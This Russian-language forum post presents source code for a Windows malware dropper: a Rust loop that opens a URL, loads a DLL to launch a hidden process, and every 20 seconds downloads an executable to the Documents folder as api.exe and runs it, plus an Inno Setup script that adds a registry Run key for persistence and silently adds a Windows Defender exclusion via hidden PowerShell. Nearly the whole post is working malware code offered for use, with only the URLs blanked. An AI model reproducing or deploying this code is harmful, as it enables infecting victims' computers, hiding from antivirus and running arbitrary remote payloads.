devqp
Специалист
Функционал программы:
- Бесконечный цикл с интервалом 20 секунд
- Открытие URL в браузере
- Динамическая загрузка DLL и вызов функции HideProcess
- Загрузка и выполнение обновленного исполняемого файла
- Сохранение в директории документов под именем api.exe
Реализация на Rust:
Реализация функции HideProcess в DLL (C++):
Настройка автозапуска через Inno Setup:
Ключевые элементы скрипта:
- Копирование исполняемого файла в целевую директорию
- Регистрация в автозагрузке через реестр
- Отключение защиты в реальном времени
- Бесконечный цикл с интервалом 20 секунд
- Открытие URL в браузере
- Динамическая загрузка DLL и вызов функции HideProcess
- Загрузка и выполнение обновленного исполняемого файла
- Сохранение в директории документов под именем api.exe
Реализация на Rust:
Код:
use std::{fs::File, io::copy, path::PathBuf, process::Command, thread, time::Duration};
use libloading::{Library, Symbol};
use reqwest::Client;
fn main() {
let url = "https://";
loop {
webbrowser::open(url).unwrap_or_else(|e| {
eprintln!("Error: {}", e);
std::process::exit(1);
});
let lib = Library::new("path:\\path\\path\\src\\x.dll").unwrap_or_else(|e| {
eprintln!("Error loading DLL: {}", e);
std::process::exit(1);
});
unsafe {
let hide_process: Symbol<unsafe extern "C" fn() -> i32> = lib.get(b"HideProcess").unwrap_or_else(|e| {
eprintln!("Error getting symbol: {}", e);
std::process::exit(1);
});
hide_process();
}
tokio::runtime::Runtime::new().unwrap().block_on(download_and_execute());
thread::sleep(Duration::from_secs(20));
}
}
async fn download_and_execute() {
let download_url = "https://";
let documents_dir = dirs::document_dir().expect("Failed to get Documents directory");
let executable_path = documents_dir.join("api.exe");
let client = Client::new();
if let Ok(response) = client.get(download_url).send().await {
if response.status().is_success() {
let mut file = File::create(&executable_path).expect("Failed to create file");
let bytes = response.bytes().await.expect("Failed to read bytes");
copy(&mut bytes.as_ref(), &mut file).expect("Failed to copy data");
Command::new(&executable_path).spawn().expect("Failed to execute");
}
}
}
Реализация функции HideProcess в DLL (C++):
Код:
#include "pch.h"
#include "MyDLL.h"
#include <Windows.h>
#ifdef MYDLL_EXPORTS
MYDLL_API int HideProcess() {
STARTUPINFO si = { sizeof(STARTUPINFO) };
PROCESS_INFORMATION pi;
if (CreateProcess(NULL, L"exe.exe", NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
return -1;
}
#endif
Настройка автозапуска через Inno Setup:
Ключевые элементы скрипта:
- Копирование исполняемого файла в целевую директорию
- Регистрация в автозагрузке через реестр
- Отключение защиты в реальном времени
Код:
[Files]
Source: "X:\{#MyAppExeName}"; DestDir: "{app}"; Flags: ignoreversion
[Registry]
Root: HKCU; Subkey: "Software\Microsoft\Windows\CurrentVersion\Run";
ValueType: string; ValueName: "{#MyAppName}"; ValueData: """{app}\{#MyAppExeName}"""
[Code]
procedure DisableRealTimeScanning;
begin
Exec('powershell.exe', '-Command Add-MpPreference -ExclusionPath "{app}"', '', SW_HIDE, ewWaitUntilTerminated, ErrorCode);
end;